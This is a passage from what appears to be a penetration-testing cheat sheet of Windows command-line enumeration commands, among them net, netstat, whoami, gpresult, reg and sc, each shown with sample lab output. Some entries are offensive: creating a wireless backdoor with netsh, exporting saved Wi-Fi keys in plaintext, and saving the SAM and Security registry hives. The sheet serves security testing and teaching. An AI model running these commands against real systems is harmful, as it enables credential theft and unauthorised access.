70 | Connection-specific DNS Suffix . : 71 | Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection 72 | Physical Address. . . . . . . . . : 00-0C-29-9A-E2-26 73 | DHCP Enabled. . . . . . . . . . . : No 74 | Autoconfiguration Enabled . . . . : Yes 75 | Link-local IPv6 Address . . . . . : fe80::11bc:e019:25e5:916d%10(Preferred) 76 | IPv4 Address. . . . . . . . . . . : 192.168.10.34(Preferred) 77 | Subnet Mask . . . . . . . . . . . : 255.255.255.0 78 | Default Gateway . . . . . . . . . : 192.168.10.1 79 | DHCPv6 IAID . . . . . . . . . . . : 234884137 80 | DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-19-E6-78-04-00-0C-29-9A-E2-26 81 | DNS Servers . . . . . . . . . . . : ::1 82 | 127.0.0.1 83 | NetBIOS over Tcpip. . . . . . . . : Enabled
84 | Tunnel adapter Local Area Connection* 8:
85 | Media State . . . . . . . . . . . : Media disconnected 86 | Connection-specific DNS Suffix . : 87 | Description . . . . . . . . . . . : isatap.{DDE3DF3D-3417-4EBF-BF66-73BD3A64FF26} 88 | Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0 89 | DHCP Enabled. . . . . . . . . . . : No 90 | Autoconfiguration Enabled . . . . : Yes
91 | ---- 92 | 93 | ## Misc 94 | ### arp 95 | * **Command with arguments**: `arp -a` 96 | * **Description**: Lists all the systems currently in the machine's ARP table. 97 | * **Output**: 98 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>arp -a
99 | Interface: 192.168.10.34 --- 0xa 100 | Internet Address Physical Address Type 101 | 192.168.10.255 ff-ff-ff-ff-ff-ff static 102 | 224.0.0.22 01-00-5e-00-00-16 static 103 | 224.0.0.252 01-00-5e-00-00-fc static
104 | 105 | ### wmic 106 | * **Command with arguments**: `wmic ntdomain list` 107 | * **Description**: Retrieve information about Domain and Domain Controller. 108 | * **Output**: 109 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>wmic ntdomain list 110 | DomainGuid 111 | {CD5C2FE3-5AFE-459D-804E-A81B49066CAD}
112 | ---- 113 | 114 | ## net 115 | For more information: http://technet.microsoft.com/en-us/library/bb490949.aspx 116 | 117 | ### Accounts 118 | * **Command with arguments**: `net accounts [/domain | /domain:OTHERDOMAINNAME]` 119 | * **Description**: Prints the password policy for the local system. Pass it the `/domain` option to query the domain for the domain password policy. 120 | * **Output**: 121 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net accounts 122 | Force user logoff how long after time expires?: Never 123 | Minimum password age (days): 1 124 | Maximum password age (days): 42 125 | Minimum password length: 7 126 | Length of password history maintained: 24 127 | Lockout threshold: Never 128 | Lockout duration (minutes): 30 129 | Lockout observation window (minutes): 30 130 | Computer role: PRIMARY 131 | The command completed successfully.
132 | 133 | ### Group 134 | * **Command with arguments**: `net group "GROUPNAME" /domain` 135 | * **Description**: Prints the members of the Administrators local group. The /domain switch can show you the list of current domain admins. 136 | 137 | Note: This command can only be used on a Windows Domain Controller. 138 | 139 | * **Output**: 140 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net group "domain admins" 141 | Group name Domain Admins 142 | Comment Designated administrators of the domain
143 | Members
144 | -------------------------------------------------------------------------------
145 | Administrator 146 | The command completed successfully.
147 | 148 | ### Local Group 149 | * **Command with arguments**: `net localgroup "GROUPNAME" [/domain]` 150 | * **Description**: Prints the members of the local group "GROUPNAME". The `/domain` switch can show you members of domain groups. 151 | 152 | Note: This command can only be used on a Windows Domain Controller. 153 | 154 | * **Output**: 155 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net localgroup administrators 156 | Alias name administrators 157 | Comment Administrators have complete and unrestricted access to the computer/domain
158 | Members
159 | -------------------------------------------------------------------------------
160 | Administrator 161 | Domain Admins 162 | Enterprise Admins 163 | johndoe 164 | The command completed successfully.
165 | 166 | ### Queries SMB Hosts/Domain 167 | * **Command with arguments**: `net view [/domain | /domain:OTHERDOMAINNAME]` 168 | * **Description**: Queries NBNS/SMB (SAMBA) and tries to find all hosts in the system's current workgroup. Add the `/domain` option if the current system is joined to a domain. To query a different domain, use the `/domain:OTHERDOMAINNAME` option. 169 | * **Output**: 170 | * (Coming soon!) 171 | 172 | ### Session 173 | * **Command with arguments**: `net session` 174 | * **Description**: Displays information about all connections to the computer. 175 | 176 | Note: Needs to be launched within an administrative command shell. 177 | 178 | * **Output**: 179 | * (Coming soon!) 180 | 181 | ### Share 182 | * **Command with arguments**: `net share` 183 | * **Description**: Displays the system's currently shared SMB entries, and what path(s) they point to. 184 | * **Output**: 185 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net share
186 | Share name Resource Remark
187 | -------------------------------------------------------------------------------
C$ C:\ Default share 188 | IPC$ Remote IPC 189 | ADMIN$ C:\Windows Remote Admin 190 | NETLOGON C:\Windows\SYSVOL\sysvol\lab.sky.net\SCRIPTS Logon server share 191 | SYSVOL C:\Windows\SYSVOL\sysvol Logon server share 192 | The command completed successfully.
193 | 194 | ### Users (List local/domain) 195 | * **Command with arguments**: `net user [/domain]` 196 | * **Description**: Lists the local users or, if the `/domain` option is passed, users on the computer's domain. 197 | * **Output**: 198 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net user
199 | User accounts for \\WIN-0P19ULL2NB6
200 | -------------------------------------------------------------------------------
Administrator Guest johndoe
krbtgt
The command completed successfully.
201 | 202 | ### Users (Detailed User Information) 203 | * **Command with arguments**: `net user %USERNAME% [/domain]` 204 | * **Description**: Lists detailed information about the current local user or, if the `/domain` option is passed, the account on the computer's domain. If it is a local user then drop the `/domain`. Important things to note are login times, last time changed password, logon scripts, and group membership. You may wish to run this twice, once with and once without the `/domain` switch to find both local and domain accounts. 205 | * **Output**: 206 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>net user johndoe 207 | User name johndoe 208 | Full Name John Doe 209 | Comment 210 | User's comment 211 | Country code 000 (System Default) 212 | Account active Yes 213 | Account expires Never
214 | Password last set 10/10/2013 8:57:02 PM 215 | Password expires 11/21/2013 8:57:02 PM 216 | Password changeable 10/11/2013 8:57:02 PM 217 | Password required Yes 218 | User may change password Yes
219 | Workstations allowed All 220 | Logon script 221 | User profile 222 | Home directory 223 | Last logon 10/15/2013 6:53:42 PM
224 | Logon hours allowed All
225 | Local Group Memberships *Administrators *Users 226 | Global Group memberships *Domain Users 227 | The command completed successfully.
228 | 229 | ---- 230 | 231 | ## netsh 232 | For more information: http://technet.microsoft.com/en-us/library/bb490939.aspx 233 | 234 | ### Network Services 235 | * **Command with arguments**: `netsh diag show all` 236 | * **Description**: Shows information on network services and adapters. 237 | 238 | Note: Windows XP only. 239 | 240 | * **Output**: 241 | * (Coming soon!) 242 | 243 | ### Wireless Backdoor Creation 244 | * **Command with arguments**: 245 | 1. `netsh wlan set hostednetwork mode=[allow\|disallow]` 246 | 1. `netsh wlan set hostednetwork ssid= key= keyUsage=persistent\|temporary` 247 | 1. `netsh wlan [start|stop] hostednetwork` 248 | * **Description**: 249 | 1. Enables or disables hostednetwork service. 250 | 1. Complete hosted network setup for creating a wireless backdoor. 251 | 1. Starts or stops a wireless backdoor. See below to set it up. 252 | 253 | Note: Windows 7 only. 254 | 255 | * **Output**: 256 | * (Coming soon!) 257 | 258 | ### Wireless Profile Viewing 259 | * **Command with arguments**: `netsh wlan show profiles` 260 | * **Description**: Shows all saved wireless profiles. You may then export the info for those profiles with the other netsh commands listed here. 261 | * **Output**: 262 | * (Coming soon!) 263 | 264 | ### Wireless Profile Exporting 265 | * **Command with arguments**: `netsh wlan export profile folder=. key=clear` 266 | * **Description**: Exports a user wifi profile with the password in plaintext to an XML file in the current working directory. 267 | * **Output**: 268 | * (Coming soon!) 269 | 270 | ---- 271 | ## netstat 272 | For more information: http://technet.microsoft.com/en-us/library/bb490947.aspx 273 | 274 | ### Find Information about a specific Service 275 | * **Command with arguments**: `netstat -nabo | findstr /I (SERVICE|PROCESS|PORT)` 276 | * **Description**: If you are interested in finding out more information about a specific service, process or port this will provide greater depth of information. The `netstat -b` flag makes the command take longer but will output the process name using each of the connections. 277 | 278 | Note: Needs to be launched within an administrative command shell due to the `-b`. 279 | 280 | * **Output**: 281 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Windows\system32>netstat -nabo |findstr /I 445
282 | TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 283 | TCP [::]:445 [::]:0 LISTENING 4 284 | UDP 0.0.0.0:62445 *:* 1756 285 | UDP 0.0.0.0:63445 *:* 1756 286 | UDP [::]:49445 *:* 1756 287 | UDP [::]:64445 *:* 1756 288 | UDP [::]:64450 *:* 1756 289 | UDP [::]:64451 *:* 1756
290 | 291 | ### Find Listeners 292 | * **Command with arguments**: `netstat -na | findstr :80` 293 | * **Description**: Find all listening ports and connections on port 80 (replace 80 with your target such as `445` or `3389`). 294 | * **Output**: 295 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>netstat -na | findstr :445 296 | TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 297 | TCP [::]:445 [::]:0 LISTENING
298 | 299 | ### Find Listeners and Process IDs 300 | * **Command with arguments**: `netstat -nao | findstr /I listening` 301 | * **Description**: Find all listening ports and their associated PIDs (Process IDs). The `findstr /I` switch makes the search case insensitive. This could be important if you are looking for a buMPy service (example: `svchost` vs. `SVChost`) or don't know the case of it. 302 | * **Output**: 303 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>netstat -nao | findstr /I listening 304 | TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 592 305 | TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 908 306 | TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 592 307 | TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 308 | TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 592 309 | TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 908 310 | TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 592 311 | TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 592 312 | TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 592 313 | TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1208 314 | TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 500 315 | TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 984 316 | TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 1056 317 | TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING 592 318 | TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING 592 319 | TCP 0.0.0.0:49158 0.0.0.0:0 LISTENING 592 320 | TCP 0.0.0.0:49161 0.0.0.0:0 LISTENING 1804 321 | TCP 0.0.0.0:49169 0.0.0.0:0 LISTENING 1756 322 | TCP 0.0.0.0:49170 0.0.0.0:0 LISTENING 580 323 | TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1756 324 | TCP 192.168.10.34:53 0.0.0.0:0 LISTENING 1756 325 | TCP 192.168.10.34:139 0.0.0.0:0 LISTENING 4 326 | TCP [::]:88 [::]:0 LISTENING 592 327 | TCP [::]:135 [::]:0 LISTENING 908 328 | TCP [::]:389 [::]:0 LISTENING 592 329 | TCP [::]:445 [::]:0 LISTENING 4 330 | TCP [::]:464 [::]:0 LISTENING 592 331 | TCP [::]:593 [::]:0 LISTENING 908 332 | TCP [::]:636 [::]:0 LISTENING 592
333 | 334 | ### List Ports and Connections 335 | * **Command with arguments**: `netstat -nabo` 336 | * **Description**: Lists ports on and connections with the system with corresponding process (`-b`), without performing DNS lookup (`-n`), all connections (`-a`) and what is the owning process ID (`-o`). The `-b` switch is the switch in this command that requires elevated or admin privileges to execute. Omit it and you do not need to have an admin cmd shell. 337 | 338 | Note: Needs to be launched within an administrative command shell. 339 | 340 | * **Output**: 341 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Windows\system32>netstat -nabo
342 | Active Connections
343 | Proto Local Address Foreign Address State PID 344 | TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 592 345 | [lsass.exe] 346 | TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 908 347 | RpcSs 348 | [svchost.exe] 349 | TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 592 350 | [lsass.exe] 351 | TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
352 | Can not obtain ownership information
353 | x: Windows Sockets initialization failed: 5 354 | TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 592 355 | [lsass.exe] 356 | TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 908 357 | RpcSs 358 | [svchost.exe] 359 | TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 592 360 | [lsass.exe] 361 | TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 592 362 | [lsass.exe] 363 | TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 592 364 | [lsass.exe] 365 | TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1208 366 | Dnscache
367 | 368 | ### Routing Table 369 | * **Command with arguments**: `netstat -r` 370 | * **Description**: Displays the system's routing table. 371 | * **Output**: 372 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>netstat -r
===========================================================================
Interface List
10 ...00 0c 29 9a e2 26 ...... Intel(R) PRO/1000 MT Network Connection
1 ........................... Software Loopback Interface 1
12 ...00 00 00 00 00 00 00 e0 isatap.{DDE3DF3D-3417-4EBF-BF66-73BD3A64FF26}
11 ...02 00 54 55 4e 01 ...... Teredo Tunneling Pseudo-Interface
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.10.1 192.168.10.34 266
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.10.0 255.255.255.0 On-link 192.168.10.34 266
192.168.10.34 255.255.255.255 On-link 192.168.10.34 266
192.168.10.255 255.255.255.255 On-link 192.168.10.34 266
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.10.34 266
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.10.34 266
===========================================================================
Persistent Routes:
Network Address Netmask Gateway Address Metric
0.0.0.0 0.0.0.0 192.168.10.1 Default
===========================================================================

IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
1 306 ::1/128 On-link
10 266 fe80::/64 On-link
10 266 fe80::11bc:e019:25e5:916d/128
On-link
1 306 ff00::/8 On-link
10 266 ff00::/8 On-link
===========================================================================
Persistent Routes:
None
-------------------------------------------------------------------------------- /windows/windows_cmd_config.md: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | # Windows CMD Config Commands 13 | 14 | Commands that display information about the configuration of the victim and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. 15 | 16 | ## Misc 17 | ### c:\windows\system32\gathernetworkinfo.vbs 18 | * **Command**: `c:\windows\system32\gathernetworkinfo.vbs` 19 | * **Command with arguments**: NA 20 | * **Description**: **Windows 7 Only** Script included gathers data about the system and stores output in files in the `c:\windows\system32\config` directory. External link [here.](http://www.verboon.info/index.php/2011/06/the-gathernetworkinfo-vbs-script/) 21 | * **Output**: 22 | * NA 23 | 24 | ### echo 25 | * **Command**: `echo` 26 | * **Command with arguments**: `echo %COMSPEC%%` 27 | * **Description**: Determine the location of the command line interpreter such as cmd.exe. 28 | * **Output**: 29 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>echo %COMSPEC%
C:\Windows\system32\cmd.exe
30 | 31 | ### fsutil 32 | * **Command**: `set` 33 | * **Command with arguments**: `fsutil fsinfo drives` 34 | * **Description**: **Must be ADMIN to run this.** Lists the current drives on the system. 35 | * **Output**: 36 | *
**Windows 2008:** Show/Hide
C:\Windows\system32>fsutil fsinfo drives

Drives: A:\ C:\ D:\
37 | 38 | ### gpresult 39 | * **Command**: `gpresult` 40 | * **Command with arguments**: `gpresult /z` 41 | * **Description**: Extremely verbose output of GPO (Group policy) settings as applied to the current system and user. 42 | * **Output**: 43 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>gpresult /z

Microsoft (R) Windows (R) Operating System Group Policy Result tool v2.0
Copyright (C) Microsoft Corp. 1981-2001

Created On 10/15/2013 at 7:02:05 PM


RSOP data for LAB\johndoe on WIN-0P19ULL2NB6 : Logging Mode
------------------------------------------------------------

OS Configuration: Primary Domain Controller
OS Version: 6.0.6002
Site Name: N/A
Roaming Profile: N/A
Local Profile: C:\Users\johndoe
Connected over a slow link?: No


USER SETTINGS
--------------
CN=johndoe,CN=Users,DC=lab,DC=sky,DC=net
Last time Group Policy was applied: 10/12/2013 at 6:20:23 PM
Group Policy was applied from: WIN-0P19ULL2NB6.lab.sky.net
Group Policy slow link threshold: 500 kbps
Domain Name: LAB
Domain Type: Windows 2000

Applied Group Policy Objects
-----------------------------
N/A

The following GPOs were not applied because they were filtered out
-------------------------------------------------------------------
Local Group Policy
Filtering: Not Applied (Empty)

Default Domain Policy
Filtering: Not Applied (Empty)

The user is a part of the following security groups
---------------------------------------------------
Domain Users
Everyone
BUILTIN\Users
BUILTIN\Administrators
BUILTIN\Pre-Windows 2000 Compatible Access
NT AUTHORITY\INTERACTIVE
NT AUTHORITY\Authenticated Users
This Organization
LOCAL
High Mandatory Level

The user has the following security privileges
----------------------------------------------


Resultant Set Of Policies for User
-----------------------------------
44 | 45 | ### set 46 | * **Command**: `set` 47 | * **Command with arguments**: NA 48 | * **Description**: Shows all current environmental variables. Specific ones to look for are USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA, and ALLUSERPROFILE. 49 | * **Output**: 50 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\johndoe\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=WIN-0P19ULL2NB6
ComSpec=C:\Windows\system32\cmd.exe
DFSTRACINGON=FALSE
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Users\johndoe
LOCALAPPDATA=C:\Users\johndoe\AppData\Local
LOGONSERVER=\\WIN-0P19ULL2NB6
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 42 Stepping 7, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=2a07
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
PROMPT=$P$G
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\johndoe\AppData\Local\Temp\1
TMP=C:\Users\johndoe\AppData\Local\Temp\1
TRACE_FORMAT_SEARCH_PATH=\\winseqfe\release\Windows6.0\lh_sp2rtm\6002.18005.090410-1830\x86fre\symbols.pri\TraceFormat
USERDNSDOMAIN=LAB.SKY.NET
USERDOMAIN=LAB
USERNAME=johndoe
USERPROFILE=C:\Users\johndoe
windir=C:\Windows
51 | 52 | ### whoami 53 | * **Command**: `whoami` 54 | * **Command with arguments**: `whoami /all` 55 | * **Description**: Lists information about the user you are currently logged in as. Helpful for showing what groups, sid and privileges of this user. Not available in all versions of Windows but is in Windows Vista and more recent. According to [Wikipedia](http://en.wikipedia.org/wiki/Whoami), this command can be added to Windows 2000 using the resource kit and is installed in Windows XP SP2 Support Tools. 56 | * **Output**: 57 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>whoami
lab\johndoe

C:\Users\johndoe>whoami/all

USER INFORMATION
----------------

User Name SID
=========== ===========================================
lab\johndoe S-1-5-21-60789211-843652525-1994898995-1001


GROUP INFORMATION
-----------------

Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Unknown SID type S-1-16-8192 Mandatory group, Enabled by default, Enabled group


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
58 | 59 | ### type 60 | * **Command**: `type` 61 | * **Command with arguments**: `type %WINDIR%\System32\drivers\etc\hosts` 62 | * **Description**: Show the contents of a file. In this case, you can get the system's host file which does the local translation of IP address to hostname. This file may contain important servers. 63 | * **Output**: 64 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>type %WINDIR%\System32\drivers\etc\hosts
# Copyright (c) 1993-2006 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost
::1 localhost
65 | ---- 66 | 67 | ## Registry (reg) 68 | For more information: http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/reg.mspx?mfr=true or http://www.petri.co.il/reg_command_in_windows_xp.htm 69 | 70 | ### Add 71 | * **Command with arguments**: `reg add [\\TargetIPaddr\] [RegDomain\Key]` 72 | * **Description**: Adds a key to target machine's registry. Replace [\\TargetIPaddr] with your target system, [RegDomain\Key] with the registry domain and key you'd like to insert. 73 | * **Output**: 74 | * NA 75 | 76 | ### Export 77 | * **Command with arguments**: `reg export [RegDomain\Key] [OUTFILE]` 78 | * **Description**: Exports a key to a file. Replace [RegDomain\Key] with the registry domain and key you'd like to insert and [OUTFILE] with the name of the file you would like to save the registry key in. 79 | * **Output**: 80 | * NA 81 | 82 | ### Import 83 | * **Command with arguments**: `reg import [INFILE]` 84 | * **Description**: Imports content to target machine's registry. Replace [INFILE] with the file that has the content you wish to insert. 85 | * **Output**: 86 | * NA 87 | 88 | ### Query (Local) 89 | * **Command with arguments**: `reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """"` 90 | * **Description**: Securely registered executables within the system registry. 91 | * **Output**: 92 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """"
(Default) REG_SZ C:\Program Files\VMware\VMware Tools\TPVCGateway.exe
(Default) REG_SZ C:\Program Files\VMware\VMware Tools\VMwareCplLauncher.exe
(Default) REG_SZ C:\Program Files\Internet Explorer\iexplore.exe
LocalizedString REG_SZ @C:\Program Files\VMware\VMware Tools\VMwareHostOpen.exe,-1008
(Default) REG_SZ C:\Program Files\VMware\VMware Tools\VMwareHostOpen.exe,-101
(Default) REG_SZ C:\Program Files\Internet Explorer\IEXPLORE.EXE
(Default) REG_SZ C:\Program Files\VMware\VMware Tools\VMwareTray.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\rpctool.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\VMwareCplLauncher.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\unzip.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\Common Files\VMware\Drivers\vss\comreg.exe
93 | 94 | ### Query (Remote) 95 | * **Command with arguments**: `reg query [\\TargetIPaddr\] [RegDomain\Key] /v [ValueName]` 96 | * **Description**: Retrieves a key and value from target machine's registry. Replace [\\TargetIPaddr] with your target system, [RegDomain\Key] with the registry domain and key you'd like to query. 97 | * **Output**: 98 | * NA 99 | 100 | ### Save 101 | * **Command with arguments**: `reg save [HIVE] [OUTFILE]` 102 | * **Description**: **Must be run as an administrator.** Saves part of the registry to a file. Replace [HIVE] with HKLM\Security, HKLM\System, or HKLM\SAM and [OUTFILE] with the name of the file you would like to save the registry in. 103 | * **Output**: 104 | *
**Windows 2008:** Show/Hide
c:\temp>reg save HKLM\Security security.hive && dir
The operation completed successfully.
Volume in drive C has no label.
Volume Serial Number is 1A09-5F16
Directory of c:\temp
10/26/2013 11:17 PM .
10/26/2013 11:17 PM ..
10/26/2013 11:17 PM 32,768 security.hive
1 File(s) 32,768 bytes
2 Dir(s) 33,312,219,136 bytes free
105 | ---- 106 | 107 | ## sc 108 | sc.exe retrieves and sets control information about services. You can use sc.exe for testing and debugging service programs. For more information: http://technet.microsoft.com/en-us/library/bb490995.aspx. 109 |
Help details can be found if you expand this section here: Show/Hide
C:\Users\tester>sc 110 | DESCRIPTION: 111 | SC is a command line program used for communicating with the 112 | Service Control Manager and services. 113 | USAGE: 114 | sc [command] [service name] ... 115 | 116 | The option has the form "\\ServerName" 117 | Further help on commands can be obtained by typing: "sc [command]" 118 | Commands: 119 | query-----------Queries the status for a service, or 120 | enumerates the status for types of services. 121 | queryex---------Queries the extended status for a service, or 122 | enumerates the status for types of services. 123 | start-----------Starts a service. 124 | pause-----------Sends a PAUSE control request to a service. 125 | interrogate-----Sends an INTERROGATE control request to a service. 126 | continue--------Sends a CONTINUE control request to a service. 127 | stop------------Sends a STOP request to a service. 128 | config----------Changes the configuration of a service (persistent). 129 | description-----Changes the description of a service. 130 | failure---------Changes the actions taken by a service upon failure. 131 | failureflag-----Changes the failure actions flag of a service. 132 | sidtype---------Changes the service SID type of a service. 133 | privs-----------Changes the required privileges of a service. 134 | qc--------------Queries the configuration information for a service. 135 | qdescription----Queries the description for a service. 136 | qfailure--------Queries the actions taken by a service upon failure. 137 | qfailureflag----Queries the failure actions flag of a service. 138 | qsidtype--------Queries the service SID type of a service. 139 | qprivs----------Queries the required privileges of a service. 140 | qtriggerinfo----Queries the trigger parameters of a service. 141 | qpreferrednode--Queries the preferred NUMA node of a service. 142 | delete----------Deletes a service (from the registry). 143 | create----------Creates a service. (adds it to the registry). 144 | control---------Sends a control to a service. 145 | sdshow----------Displays a service's security descriptor. 146 | sdset-----------Sets a service's security descriptor. 147 | showsid---------Displays the service SID string corresponding to an arbitrary name. 148 | triggerinfo-----Configures the trigger parameters of a service. 149 | preferrednode---Sets the preferred NUMA node of a service. 150 | GetDisplayName--Gets the DisplayName for a service. 151 | GetKeyName------Gets the ServiceKeyName for a service. 152 | EnumDepend------Enumerates Service Dependencies. 153 | 154 | The following commands don't require a service name: 155 | sc
162 | 163 | ### Query Configuration 164 | * **Command with arguments**: `sc qc [servicename]` 165 | * **Description**: Queries the configuration information for a service. Things to look at here are the path to the executable, the start type (does it start at boot or on demand?), and service names. 166 | * **Output**: 167 | *
**Windows 2008:** Show/Hide
c:\Users\johndoe>sc qc browser 168 | [SC] QueryServiceConfig SUCCESS
SERVICE_NAME: browser
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\svchost.exe -k netsvcs
LOAD_ORDER_GROUP : NetworkProvider
TAG : 0
DISPLAY_NAME : Computer Browser
DEPENDENCIES : LanmanWorkstation
: LanmanServer
169 | SERVICE_START_NAME : LocalSystem
170 | 171 | ### Query Status 172 | * **Command with arguments**: `sc query [servicename]` 173 | * **Description**: Queries the status for a service, or enumerates the status for types of services. 174 | * **Output**: 175 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>sc query browser

SERVICE_NAME: browser
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
176 | 177 | ### Query Status Extended 178 | * **Command with arguments**: `sc queryex [servicename]` 179 | * **Description**: Queries the status for a service, or enumerates the status for types of services. 180 | * **Output**: 181 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>sc queryex browser
182 | SERVICE_NAME: browser
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
